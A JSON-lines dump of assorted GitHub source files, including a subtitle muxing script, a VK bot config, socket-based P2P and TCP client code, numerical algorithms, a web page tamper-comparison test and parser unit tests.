Sayisi: {}'.format(silmeSonrasiTrackSayisi))\n\n altyaziEklemeKomut = 'C:\\\\mkv\\\\mkvmerge.exe -o ' + \\\n '\"' + uretilecekDosyaIsmi + '\" --no-subtitles ' + \\\n '\"' + altyaziEklenecekDosyaIsmi + '\" ' + \\\n ' --language ' + str(0) + ':tur ' + \\\n '\"' + altyaziDosyaIsmi + '\"'\n\n os.system(altyaziEklemeKomut)\n\n\nfor arg in sys.argv[1:]:\n altyazi_ekle(arg)\n","repo_name":"omerhakan/mkv_altyazi_ekleme","sub_path":"altyazi_ekleme.py","file_name":"altyazi_ekleme.py","file_ext":"py","file_size_in_byte":1581,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"7745665556","text":"# -*- coding: utf8 -*-\nfrom phystricks import *\ndef GrapheVarREGMqx():\n pspict,fig = SinglePicture(\"GrapheVarREGMqx\")\n pspict.dilatation(1)\n\n x=var('x')\n f=HermiteInterpolation([ (-2,2,0),(0,-0.5,0),(2,1,2) ]).graph(-3,2)\n f.put_mark(0.2,0,\"\\( f\\)\",pspict=pspict)\n\n pspict.DrawGraphs(f)\n pspict.DrawDefaultGrid()\n pspict.DrawDefaultAxes()\n fig.no_figure()\n fig.conclude()\n fig.write_the_file()\n","repo_name":"LaurentClaessens/smath","sub_path":"phystricksGrapheVarREGMqx.py","file_name":"phystricksGrapheVarREGMqx.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"3270428315","text":"import pytz\n\nfrom vkbottle import API, BuiltinStateDispenser, Bot\nfrom vkbottle.bot import BotLabeler\nfrom vkbottle import CtxStorage\n\nfrom environs import Env\n\nfrom my_types import MultiRoulette\n\n\nenv = Env()\nenv.read_env(\"../.env\")\n\napi = API(env.str(\"TOKEN\"))\nuser_api = API(env.str(\"USER_TOKEN\"))\nlabeler = BotLabeler()\nstate_dispenser = BuiltinStateDispenser()\n\nmoscow_zone = pytz.timezone(\"Europe/Moscow\")\n\n\nctx_storage = CtxStorage()\nctx_storage.set(\n \"MultiRoulette\",\n MultiRoulette(\n date_for_multi=None,\n users_award={}\n )\n)\nctx_storage.set(\"polls_clearing\", [])\n\nbot = Bot(\n api=api,\n labeler=labeler,\n state_dispenser=state_dispenser\n)\n\ndummy_bot = Bot(\n api=API(env.str(\"TOKEN\")),\n labeler=BotLabeler()\n)\n","repo_name":"alehandrodol/SashlindosVkBot","sub_path":"VkBot/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"37548837384","text":"from queue import Queue\n\nfrom src.ConnectionsThread import *\nfrom src.Pinger import Pinger\nfrom src.constants import ENCODING, DIRECTORY_NODE_HOST, DIRECTORY_NODE_PORT, DEBUG\n\n\nclass NodeServerThread(threading.Thread):\n def __init__(self, node):\n super().__init__()\n\n self.node = node\n self.port = node.port\n self.host = node.host\n self.id = node.id\n\n self.connection_threads = {}\n self.disconnections = Queue()\n self.flag = threading.Event()\n\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n print(\"Node \" + str(self.id) + \" starting on port \" + str(self.port))\n self.sock.bind((self.host, self.port))\n self.sock.settimeout(1.0)\n self.sock.listen(1)\n\n self.pinger = self.create_pinger(node.message_queue, (DIRECTORY_NODE_HOST, DIRECTORY_NODE_PORT))\n\n def run(self):\n while not self.flag.is_set():\n try:\n client_sock, client_address = self.sock.accept()\n self.handle_connection(client_sock, client_address)\n\n except socket.timeout:\n pass\n\n except Exception as e:\n raise e\n\n while not self.disconnections.empty():\n address = self.disconnections.get()\n connection = self.connection_threads.pop(address, None)\n if connection:\n connection.stop()\n\n if DEBUG:\n print(f\"disconnected : {address}\")\n\n for connection in self.connection_threads.values():\n connection.stop()\n\n if self.pinger:\n self.pinger.stop()\n\n self.sock.close()\n print(\"Node \" + str(self.id) + \" stopped\")\n\n def handle_connection(self, connection, address):\n # Exchange IDs\n connected_node_id = connection.recv(2048).decode(ENCODING)\n connection.send(str(self.id).encode(ENCODING))\n\n client_thread = self.create_connection(connection, address)\n client_thread.start()\n\n def connect_to(self, address):\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sock.connect(address)\n\n sock.send(str(self.id).encode(ENCODING))\n connected_node_id = sock.recv(1024).decode(ENCODING)\n if DEBUG:\n print(f\"Node {self.id} connected with node: {connected_node_id}\")\n\n thread_client = self.create_connection(sock, address)\n\n self.connection_threads[address] = thread_client\n return thread_client\n\n def broadcast_to_network(self, message):\n for node in self.connection_threads.values():\n node.send(message)\n\n def create_connection(self, sock, client_address):\n return ConnectionThread(self.node.message_queue, self.disconnections, sock, client_address)\n\n def create_pinger(self, message_queue, address):\n try:\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sock.connect(address)\n sock.send(str(self.id).encode(ENCODING))\n connected_node_id = sock.recv(1024).decode(ENCODING)\n if DEBUG:\n print(f\"Node {self.id} connected with directory node\")\n pinger = Pinger(message_queue, self.disconnections, sock, (self.host, self.port), address)\n pinger.start()\n return pinger\n except ConnectionRefusedError as e:\n print(f\"Could not connect to Directory node at {address}\")\n raise e\n\n def stop(self):\n self.flag.set()\n","repo_name":"nicolasseznec/ELEC-H417_Group1_Project","sub_path":"src/NodeServerThread.py","file_name":"NodeServerThread.py","file_ext":"py","file_size_in_byte":3606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"35234530694","text":"from math import sqrt, floor, gcd\n\n\n# 判断是否为平方数\ndef is_square(n):\n t = int(sqrt(n))\n return t * t == n\n\n\ndef main():\n n = 2 ** 67 - 1 # 要分解的数\n n = 47 * 67\n print('n=%s' % ('2**67-1'))\n Pk, Qk = 0, 1\n a0 = floor(sqrt(n))\n a = [a0]\n seq_p = [0, a0]\n i = 1\n while True:\n Pk = a[0] * Qk - Pk # pk+1\n Qk = divmod(n - Pk ** 2, Qk)[0]\n a[0] = floor((Pk + sqrt(n)) / Qk)\n # print(seq_p)\n # p_{k}序列\n if i == 1:\n seq_p.append(a0 * a[0] + 1)\n else:\n seq_p[0] = seq_p[1]\n seq_p[1] = seq_p[2] # this is P_n\n seq_p[2] = a[0] * seq_p[1] + seq_p[0]\n # 分解因式\n if i % 2 == 0 and is_square(Qk):\n s = int(sqrt(Qk))\n factor = [gcd(seq_p[1] - s, n), gcd(seq_p[1] + s, n)]\n print(seq_p, s, n)\n if factor[0] != 1 and factor[1] != 1:\n print('第%d项：%d,%d' % (i, factor[0], factor[1]))\n print('程序运行完毕！')\n break\n if i % 1000 == 0:\n print('已运行到第%d项' % i)\n i += 1\n\n\nmain()\n","repo_name":"Ainevsia/Algebraic-Number-Theory","sub_path":"factorcontinuedfaction.py","file_name":"factorcontinuedfaction.py","file_ext":"py","file_size_in_byte":1167,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"} +{"seq_id":"40623475013","text":"import asyncio\nimport argparse\nimport os\nimport tornado.ioloop\nimport tornado.web\n\nfrom tornado.platform.asyncio import AsyncIOMainLoop\nfrom HummingBot import HummingBot\n\nargs = None\n\nclass HealthHandler(tornado.web.RequestHandler):\n\tdef initialize(self, bot):\n\t\tself.bot = bot\n\n\tdef get(self):\n\t\tstatus = 'DOWN'\n\t\tservers = []\n\t\tif self.bot.is_logged_in and not self.bot.is_closed:\n\t\t\tstatus = self.bot.health\n\t\t\tfor server in self.bot.servers:\n\t\t\t\tservers.append(server.name)\n\t\tself.write({'status': status, 'servers': servers, 'uptime': self.bot.uptime()})\n\nclass RestartHandler(tornado.web.RequestHandler):\n\tdef initialize(self, bot):\n\t\tself.bot = bot\n\n\tasync def get(self):\n\t\ttry:\n\t\t\tloop = asyncio.get_event_loop()\n\t\t\tawait self.bot.logout()\n\t\t\tself.bot.__init__()\n\t\t\tloop.create_task(bot.start(args.token or os.environ['HUMMINGBOT_TOKEN']))\n\t\t\tawait bot.wait_until_ready()\n\t\t\tself.write({'status': 'success'})\n\t\texcept Exception as err:\n\t\t\tprint(err)\n\t\t\tself.write({'status': 'failure'})\n\nclass PlaylistHandler(tornado.web.RequestHandler):\n\tdef initialize(self, bot):\n\t\tself.bot = bot\n\n\tdef get(self):\n\t\tsongs = []\n\t\tcurrent_song = None\n\n\t\tif self.bot.playlist.current_song is not None:\n\t\t\tcurrent_song = self.bot.playlist.current_song.to_rest_dict()\n\t\t\tcurrent_song['timestamp'] = self.bot.playlist.current_song_timer.get_elapsed_seconds()\n\n\t\tfor song in list(self.bot.playlist.songs):\n\t\t\tsongs.insert(0, song.to_rest_dict())\n\n\t\tself.write({'songs': songs, 'currentSong': current_song})\n\ndef make_server(bot):\n\treturn tornado.web.Application([\n\t\t(r\"/api/health\", HealthHandler, dict(bot=bot)),\n\t\t(r\"/api/restart\", RestartHandler, dict(bot=bot)),\n\t\t(r\"/api/playlist\", PlaylistHandler, dict(bot=bot)),\n\t\t(r\"/(.*)\", tornado.web.StaticFileHandler, {'path': os.path.join(os.path.dirname(__file__), 'static'), 'default_filename': 'index.html'}),\n\t], compress_response=True)\n\nif __name__ == \"__main__\":\n\tparser = argparse.ArgumentParser(description='Starts up the HummingBot + Server.')\n\tparser.add_argument('-t', '--token', dest='token', action='store', help='Your API Bot User token', required=False)\n\tparser.add_argument('-p', '--port', dest='port', action='store', help='Port to run the webserver on', required=False)\n\tparser.add_argument('-m', '--mongodb-uri', dest='mongodb_uri', action='store', help='Mongodb connection uri to store user submitted songs', required=False)\n\tparser.add_argument('-d', '--mongodb-db', dest='mongodb_db', action='store', help='Mongodb database that will contain hummingbot collections', required=False)\n\n\t\n\targs = parser.parse_known_args()[0]\n\n\tloop = asyncio.get_event_loop()\n\n\tbot = HummingBot(connection_uri=args.mongodb_uri or os.environ['MONGODB_URI'], db=args.mongodb_db or os.environ['MONGODB_DB'])\n\tloop.create_task(bot.start(args.token or os.environ['HUMMINGBOT_TOKEN']))\n\n\tAsyncIOMainLoop().install()\n\n\tapp = make_server(bot)\n\tapp.listen(args.port or os.environ['PORT'])\n\n\tloop.run_forever()","repo_name":"johnnyxh/HummingBot","sub_path":"bot/Server.py","file_name":"Server.py","file_ext":"py","file_size_in_byte":2938,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"31823949634","text":"from imp import init_builtin\r\nfrom mimetypes import init\r\n\r\nfrom pip import main\r\n\r\n\r\ndef shivanshu(str):\r\n print(f'the string is {str}')\r\n\r\ndef sum(num1, num2):\r\n print(num1 + num2 + 54)\r\n\r\n#if __name__ == '__main__': #Sometimes when you import a file to another you may face some problem. Like if you run a function it'll execute the whole program to prevent this you can use name=main function\r\nprint(shivanshu('Shivanshu'))\r\no = sum(6, 4)\r\nprint(sum)","repo_name":"shivanshu-chdry/Python","sub_path":"Python/#33namemain.py","file_name":"#33namemain.py","file_ext":"py","file_size_in_byte":460,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"31356204527","text":"# source : https://www.acmicpc.net/problem/1568\n# math\n\n# input\nn = int(input())\n\nresult, k = 0, 1\n\nwhile n > 0:\n if n < k:\n k = 1\n \n n -= k\n result += 1\n k += 1\n\nprint(result)","repo_name":"myae3080/Algorithm-Study","sub_path":"Baekjoon/python/1568.py","file_name":"1568.py","file_ext":"py","file_size_in_byte":203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"9620162462","text":"# TCP client\nimport socket\nimport logging\nimport time\n\nlogging.basicConfig(format = u'[LINE:%(lineno)d]# %(levelname)-8s [%(asctime)s] %(message)s', level = logging.NOTSET)\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, proto=socket.IPPROTO_TCP)\n\nport = 10000\nadresa = '198.10.0.2'\nserver_address = (adresa, port)\nmesaj = 'MesajOriginal'\n\ndef send_once():\n sock.send(mesaj.encode('utf-8'))\n time.sleep(2)\n data = sock.recv(1024)\n logging.info('Content primit: \"%s\"', data)\n\ntry:\n logging.info('Handshake cu %s', str(server_address))\n sock.connect(server_address)\n logging.info('Handshake sucessful!')\n logging.info('Beginning data transmission')\n time.sleep(2)\n while True:\n send_once()\n\nfinally:\n logging.info('Closing socket...')\n sock.close()\n","repo_name":"ConstantinDragancea/NetworkPlay","sub_path":"tema2/tcp-hijacking/tcp-client.py","file_name":"tcp-client.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"25292051354","text":"from utils.idx2onehot import idx2onehot\n\nimport torch\nimport torchvision\nimport torch.utils.data as data\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nIMG_SIZE = 784\n\nclass VAE(nn.Module):\n def __init__(self, label_num):\n super(VAE, self).__init__()\n\n self.encoder = Encoder(label_num=label_num)\n self.decoder = Decoder(label_num=label_num)\n\n def reparameter(self, mu, var): # Sampling\n std = torch.exp(var/2)\n\n # randn_like : Return a Vector which mu = 0, var = 1, size = Size of std\n eps = torch.randn_like(std)\n\n return mu + std * eps\n\n def forward(self, input, label):\n mu, var = self.encoder(input, label)\n latent = self.reparameter(mu, var)\n output = self.decoder(latent, label)\n\n return output, mu, var\n\nclass Encoder(nn.Module):\n def __init__(self, label_num):\n super(Encoder, self).__init__()\n\n self.label_num = label_num\n\n # Onehot\n input_size = IMG_SIZE + label_num # 794\n\n # Encoder\n self.fc11 = nn.Linear(input_size, 128)\n self.fc12 = nn.Linear(128, 64)\n self.fc13_1 = nn.Linear(64, 32)\n self.fc13_2 = nn.Linear(64, 32)\n\n # Activate Function\n self.act_fn1 = nn.ReLU()\n self.act_fn2 = nn.Sigmoid()\n\n def forward(self, input, label):\n\n # Condition\n label = idx2onehot(label, self.label_num)\n x = torch.cat((input, label), dim=-1)\n\n # Forward\n x = self.fc11(x)\n x = self.act_fn1(x)\n x = self.fc12(x)\n x = self.act_fn1(x)\n\n mu = self.fc13_1(x)\n var = self.fc13_2(x)\n\n return mu, var\n\nclass Decoder(nn.Module):\n def __init__(self, label_num):\n super(Decoder, self).__init__()\n\n self.label_num = label_num\n\n # Onehot\n input_size = 32 + label_num\n\n # Decoder\n self.fc21 = nn.Linear(input_size, 64)\n self.fc22 = nn.Linear(64, 128)\n self.fc23 = nn.Linear(128, IMG_SIZE)\n\n # Activate Function\n self.act_fn1 = nn.ReLU()\n self.act_fn2 = nn.Sigmoid()\n\n def forward(self, z, label):\n\n # Condition\n label = idx2onehot(label, self.label_num)\n # [[0.1, 0.2, 0.3], [0.4, 0.5, 0.6]] & [[1, 0], [0, 1]]\n # -> [[0.1, 0.2, 0.3, 1, 0], [0.4, 0.5, 0.6, 0, 1]]\n z = torch.cat((z, label), dim=1)\n\n # Forward\n z = self.fc21(z)\n z = self.act_fn1(z)\n z = self.fc22(z)\n z = self.act_fn1(z)\n z = self.fc23(z)\n output = self.act_fn2(z)\n\n return output","repo_name":"Shao-TX/AutoEncoder","sub_path":"CVAE/CVAE_model.py","file_name":"CVAE_model.py","file_ext":"py","file_size_in_byte":2568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"33067507046","text":"__author__ = 'hoochy'\n\nimport dbm.dumb\nimport os\n\nclass dbm_base:\n\n db_file_name = ''\n _db_base = ''\n _flag_opened_for_write = False\n result = False\n message = ''\n\n def _db_file_exist(self):\n\n if self.db_file_name == '':\n return False\n\n return True\n\n if not os.path.isfile(self.db_file_name):\n f = open(self.db_file_name, 'w')\n f.close()\n\n return True\n\n def _base_opened(self, for_write=False):\n\n if for_write:\n return (self._db_base != '') & (self._flag_opened_for_write)\n return self._db_base != ''\n\n def _open_base_read(self):\n\n #проверим, если база уже открыта, закроем, и откроем снова для чтения\n if self._db_base != '':\n self.close_base()\n\n #проверим файл на существование\n if self._db_file_exist():\n self._db_base = dbm.dumb.open(self.db_file_name, 'r') # открыть файл базы данных\n self._flag_opened_for_write = False\n\n def _open_base_write(self):\n\n #проверим, если база уже открыта, закроем, и откроем снова для записи\n if self._db_base != '':\n self.close_base()\n\n #проверим файл на существование\n if self._db_file_exist():\n self._db_base = dbm.dumb.open(self.db_file_name, 'w') # открыть файл базы данных\n self._flag_opened_for_write = True\n\n def close_base(self):\n\n if self._db_base != '':\n if self._flag_opened_for_write:\n self._db_base.sync() # записать изменения\n self._db_base.close() # закрыть базу данных\n self._db_base = ''\n\n def get_value_by_ID(self, ID):\n\n if not self._base_opened():\n self._open_base_read()\n\n if ID in self._db_base:\n self.result = True\n return self._db_base[ID] # получить значение по ключу\n else:\n self.result = False\n self.message = 'ID missing'\n return b''\n\n def set_value_by_ID(self, ID, value):\n\n if not self._base_opened(for_write=True):\n self._open_base_write()\n\n self._db_base[ID] = value # присвоить значение по ключу\n\n def get_list(self):\n\n if not self._base_opened():\n self._open_base_read()\n items = self._db_base\n self.result = True\n return items\n\n","repo_name":"hoochy/EVE_bot","sub_path":"IDConvert.py","file_name":"IDConvert.py","file_ext":"py","file_size_in_byte":2715,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"9702471014","text":"from core.core_api import *\nfrom TestCase.test_common import *\nfrom bson import ObjectId\nimport logging\nimport requests\nimport time\nimport cchardet,chardet\nimport sys\n\nclass TestTamper:\n\n def __init__(self,list_id):\n # print(list_id)\n watch_tamper(list_id)\n\nclass MonogoObjId:\n\n def __init__(self):\n self.collection_clean = \"crawler_urls\"\n self.collection_tamper = \"res_tamper\"\n self.monogo = ConnectMonGoQA()\n self.list_tamper_1 = []\n self.list_tamper_2 = []\n self.list_url=[]\n self.list_url_tamper=[]\n\n\n def get_len_url(self):\n\n leng = self.monogo.db.get_collection(self.collection_clean).find().count()\n\n def get_id(self):\n\n for list_url in self.monogo.query_mongo(self.collection_clean, type=\"url\"):\n res = self.monogo.db.get_collection(self.collection_clean).find({\"url\": list_url})\n count = res.count()\n if count == 1:\n self.list_tamper_1.append(ObjectId(res[0][\"_id\"]))\n else:\n self.list_url.append(list_url)\n self.list_tamper_2.append(ObjectId(res[0][\"_id\"]))\n\n return self.list_tamper_1,self.list_tamper_2\n\n def get_tamper(self,collection):\n for list_url in self.monogo.query_mongo(collection, type=\"url\"):\n res = self.monogo.db.get_collection(collection).find({\"url\": list_url})\n count = self.monogo.db.get_collection(collection).find({\"url\": list_url}).count()\n self.list_url_tamper.append(list_url)\n\n return set(self.list_url_tamper)\n\nclass ExecuteMonogo:\n\n def __init__(self,collection):\n self.collection = collection\n self.monogo = ConnectMonGoQA()\n self.list_url = []\n self.list_url1 = []\n self.list_url2 = []\n self.list_url3 = []\n self.dict_id_url={}\n\n\n def id_url_dict(self,url_list):\n monogo_response = self.monogo.db.get_collection(self.collection)\n for url in url_list:\n id = monogo_response.find({'url':url}).sort('begin_time', pymongo.DESCENDING).distinct(\"_id\")[0]\n self.dict_id_url[id] = url\n return self.dict_id_url\n\n def duplicate_url_crawel(self):\n monogo_response = self.monogo.db.get_collection(self.collection)\n\n\n def url_database(self):\n url_list=[]\n monogo_response = self.monogo.db.get_collection(self.collection)\n for i in monogo_response.distinct(\"url\"):\n url_list.append(i)\n return url_list\n\n def save_mon(self,list):\n monogo_response = self.monogo.db.get_collection(self.collection)\n\n for i in range(len(list)):\n num = monogo_response.find({'url': list[i]}).count()\n logging.info(\"{}:{}\".format(i,list[i]))\n if num > 1:\n data = monogo_response.find({'url': list[i]}).sort('begin_time', -1)\n self.list_url1.append(data[0].get(\"resp_content\"))\n self.list_url2.append(data[1].get(\"resp_content\"))\n self.list_url3.append(data[2].get(\"resp_content\"))\n self.list_url.append(list[i])\n\n with open(''.join(('logs/list_url1_', str(i), '.html')), 'wb')as f:\n f.write(self.list_url1[i])\n\n with open(''.join(('logs/list_url2_', str(i), '.html')), 'wb')as f:\n f.write(self.list_url2[i])\n\n with open(''.join(('logs/list_url3_', str(i), '.html')), 'wb')as f:\n f.write(self.list_url3[i])\n print(list[i])\n\ndef invoke_htmldiff(file_loads,file_mens, file_compare,code):\n hd = difflib.HtmlDiff()\n\n loads = ''\n\n with open(file_loads, 'r',encoding=code)as loads:\n loads = loads.readlines()\n\n mens = ''\n\n with open(file_mens, 'r',encoding=code) as mens:\n mens = mens.readlines()\n\n with open(file_compare, 'a+') as f:\n f.write(hd.make_file(loads, mens))\n print(\"Result gennerated !\")\n\n\n\nclass Send:\n\n def __init__(self):\n self.header={\"User-Agent\":\"Mozilla/5.0(compatible;MSIE9.0;WindowsNT6.1;Trident/5.0;\"}\n\n\n def content(self,collection):\n\n db = ConnectMonGoQA()\n self.url = 'https://www.lljr.com/about/lxwm'\n self.resp = requests.get(self.url, headers=self.header).content\n dict_res={}\n dict_res['url'] = self.url\n dict_res['respond'] = self.resp\n dict_res['time']=time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime(time.time()))\n db.insert_data(collection,dict_res)\n\n\nif __name__ == \"__main__\":\n collection_tmp = 'crawler_urls_tmp'\n collection_clean = \"crawler_urls\"\n collection_tamper = \"res_tamper\"\n collection_line = \"tamper_lines\"\n print(time.strftime(\"%Y-%m-%d %H:%M:%S\",time.localtime(time.time())))\n\n #get the monogo_id from crawel db which url is more than 1 record\n monogo_data = MonogoObjId()\n list_tamper_1,list_tamper_2=monogo_data.get_id()\n logging.info('{} {}'.format(list_tamper_2,len(list_tamper_2)))\n\n # #execute the taper api,and return the url in tamper db\n TestTamper(list_tamper_2)\n list_tamper_url=monogo_data.get_tamper(collection_tamper)\n\n # #create the dict for objectid and url\n execute_db = ExecuteMonogo(collection_clean)\n dict_id_url = execute_db.id_url_dict(list_tamper_url)\n # print(dict_id_url)\n\n\n # #遍历在tamper模板库里的url\n # tamper_line_url=ExecuteMonogo(collection_line)\n # print(tamper_line_url.url_database())\n\n list_url_id=[] #'https://www.lljr.com/about/lxwm'\n for obj, url in execute_db.id_url_dict(list_tamper_url).items():\n list_url_id.append(url)\n print(len(list_url_id))\n\n execute_db.save_mon(list_url_id)\n\n # execute_db.compare_mon(len(list_url_id))\n\n print(time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime(time.time())))\n # send=Send()\n # send.content(collection_clean)\n # list_obj=[ObjectId(\"5b1502a8e1382370e71e00f8\"),]\n # TestTamper(list_obj)\n","repo_name":"raykeyor/TestCase","sub_path":"test_tamper.py","file_name":"test_tamper.py","file_ext":"py","file_size_in_byte":5928,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"20167991493","text":"MIN_NUMBER = 33\nMAX_NUMBER = 127\n\ndef main():\n char_input = str(input(\"Enter a character: \"))\n print(f\"The ASCII code for {char_input} is {ord(char_input)}\")\n\n try:\n number_input = int(input(f\"Enter a number between {MIN_NUMBER} and {MAX_NUMBER}: \"))\n if(MIN_NUMBER <= number_input <= MAX_NUMBER):\n print(f\"The character for {number_input} is {chr(number_input)}\")\n else:\n print(\"Number is outside the range\")\n except ValueError:\n print(\"Please Enter a valid Integer\")\n\n for i in range(MIN_NUMBER, (MAX_NUMBER + 1)):\n print(f\"{i} {chr(i)}\")\n\nmain()","repo_name":"GuidoPerren/cp1404practicals","sub_path":"prac_03/ascii_table.py","file_name":"ascii_table.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"29012509748","text":"'''\nQuick Sort\n'''\ndef sort(myList):\n less = []\n equal = []\n greater = []\n if len(myList) > 1:\n pivot = myList[0]\n for x in myList:\n if x < pivot:\n less.append(x)\n if x == pivot:\n equal.append(x)\n if x > pivot:\n greater.append(x)\n return sort(less)+equal+sort(greater)\n else:\n return myList\n","repo_name":"dafidi/PrepCS","sub_path":"backend/code_submission/solution_code/quick-sort-solution.py","file_name":"quick-sort-solution.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"7158277081","text":"import numpy as num\nfrom random import randrange\nfrom scipy.sparse.linalg import gmres \nimport matplotlib.pyplot as plt\nimport math\nimport datetime\n\n\ndef gen_matrix(n1) : \n a1 = ''\n\n for i in range(n1): \n\n for j in range(n1): \n a1 += str(randrange(n1*10))\n a1 += ' '\n\n if i != n1-1:\n a1 += ';'\n a1 += ' '\n\n return num.matrix(a1)\n\ndef _plot_graph ():\n plt.plot(range(len(g_1)) , g_1 , color='black')\n plt.xlabel('N') \n plt.ylabel('error')\n plt.title('plot')\n\n\ndef gmres_algorithm (A , b , x0 , error , max_iter ):\n \n res = b - num.asarray(num.dot(A,x0)).reshape(-1) # residual error\n\n #print (\"res \" , res)\n\n x_pred = []\n\n q_ = [0] * max_iter\n\n x_pred.append(res)\n\n q_[0] = res / num.linalg.norm(res)\n\n #print(\"q_ \" , q_)\n\n h_ = num.zeros((max_iter + 1, max_iter))\n\n for k in range(min(max_iter , A.shape[0])) : \n y_out = num.asarray(num.dot(A,q_[k])).reshape(-1)\n\n #print (\" y_out : \" , y_out)\n\n for j in range(k+1) : \n h_[j , k] = num.dot(q_[j],y_out)\n y_out = y_out - h_[j , k] * q_[j]\n\n #print (\"y_out : \" , y_out)\n \n h_[k+1 , k] = num.linalg.norm(y_out) \n\n if (h_[k + 1, k] != 0 and k != max_iter - 1):\n q_[k+1] = y_out / h_[k+1 , k]\n\n b_ = num.zeros(max_iter + 1)\n b_[0] = num.linalg.norm(res)\n\n c_ = num.linalg.lstsq(h_ , b_)[0] \n\n prod_ = num.asarray(num.dot(num.asarray(q_).transpose() , c_))\n\n if (k == max_iter - 1) :\n print('q_ ' + str(num.asarray(q_).shape) + ' c_shape = ' + str(c_.shape) + ' prod_ = ' + str(prod_.shape))\n\n x_pred.append(prod_ + x0) \n\n #print (\"h_ : \" , h_)\n\n #print (\"b_ : \" , b_)\n\n #print (\"x_pred \" , prod_ + x0 )\n\n x_temp_ = (num.linalg.norm(b - num.dot(A ,(prod_ + x0)).reshape(-1)) / num.linalg.norm(b))\n\n g_1.append(math.log10(x_temp_))\n\n return x_pred\n\nif __name__ == '__main__' :\n\n lis_B1 = []\n\n lis_C1 = []\n\n number = 200\n\n global g_1 \n\n g_1 = []\n\n for i in range(number) : \n lis_B1.append(randrange(number * 5))\n lis_C1.append(randrange(number * 7))\n \n A1 = gen_matrix(number)\n\n b1 = num.array(lis_B1)\n\n x01 = num.array(lis_C1) \n\n\n #A1 = [[37 , 26 , 7 , 13 , 27] , [3 , 46 , 45 , 27 , 3] , [11 , 21 , 6 , 49 , 8] , [31 , 9 , 8 , 8 , 5] , [22 , 7 , 37 , 34 , 10]] ; \n\n #b1 = [6 , 0 , 11 , 24 , 11]\n\n #x01 = [5 , 11 , 31 , 27 , 20] ;\n\n A1 = num.asarray (A1) \n\n b1 = num.asarray (b1).transpose() \n\n x01 = num.asarray (x01).transpose()\n\n print (A1.shape , b1.shape , x01.shape)\n\n #print(\"A1 \" , A1) \n\n #print(\"b1\" , b1) \n\n #print(\"x01 \" , x01)\n\n error1 = 0\n\n max_iter = 200\n\n time_s = datetime.datetime.now()\n\n x_pred = gmres_algorithm(A1 , b1 , x01, error1 , max_iter)\n\n time_end = datetime.datetime.now()\n\n print (\"time diff : \" , time_end - time_s)\n\n #x, exitCode = gmres(A1, b1)\n #print (x_pred[-1])\n #print(x)\n print (\"distance !\")\n #print (\"exit_code : \" , exitCode)\n\n x_pred = num.asarray(x_pred)[-1].T\n\n #print(x.shape , x_pred.shape)\n\n #print(\"x -> : \" , x) \n\n #print(\"x_pred -> : \" , x_pred)\n\n #print(distance(x , x_pred))\n #error = ((x - x_pred)).mean(axis=0)\n #print(error)\n #8:48\n\n error1 = ((b1 - num.dot(A1,x_pred))).mean(axis=0)\n # b1 num.dot(A1,x_pred) \n\n _plot_graph ()\n\n # print(error1)\n\n # print(b1)\n\n # print(num.dot(A1,x_pred))\n\n # Block GMRES\n","repo_name":"Aditya-11/High_Speed_Solver","sub_path":"gmres.py","file_name":"gmres.py","file_ext":"py","file_size_in_byte":3561,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"37674619006","text":"import unittest\n\nfrom replace import CombinatoricMap, Target, ReplaceWith, Var, Any, MakeInto, \\\n ignore_matched_input, TestVar, Optional, NotFollowedBy, \\\n CombinatoricSequence, CombinatoricAlternatives\nfrom source import Source\nfrom word import WordInstance\nfrom letter import Letter, is_consonant\nfrom misc import Multiple\nfrom testing import reduce_to_text\n\n\nclass MockSource(Source):\n\n def __init__(self, index=None):\n super().__init__(self, index)\n\n def __eq__(self, other):\n return (\n isinstance(other, self.__class__)\n and\n self.index == other.index\n )\n\n def __repr__(self):\n return 'MockSource(%s)' % repr(self.index)\n\n\nmockSource = MockSource()\n\n\nclass TestTarget(unittest.TestCase):\n\n def test_qu(self):\n target = Target('q', 'u')\n env = {}\n\n x = ('q', 'u', 'a', 'e')\n self.assertEqual(\n (['q', 'u'], ('a', 'e'), {}),\n target.match(x, env)\n )\n\n x = ('x', 'y')\n self.assertEqual(\n (None, None, None),\n target.match(x, env)\n )\n\n x = ()\n self.assertEqual(\n (None, None, None),\n target.match(x, env)\n )\n\n def test_A(self):\n target = Target(Var('A', Any))\n env = {}\n x = ('q', 'u', 'a', 'e')\n self.assertEqual(\n (['q'], ('u', 'a', 'e'), {'A': ['q']}),\n target.match(x, env)\n )\n\n def test_letter(self):\n 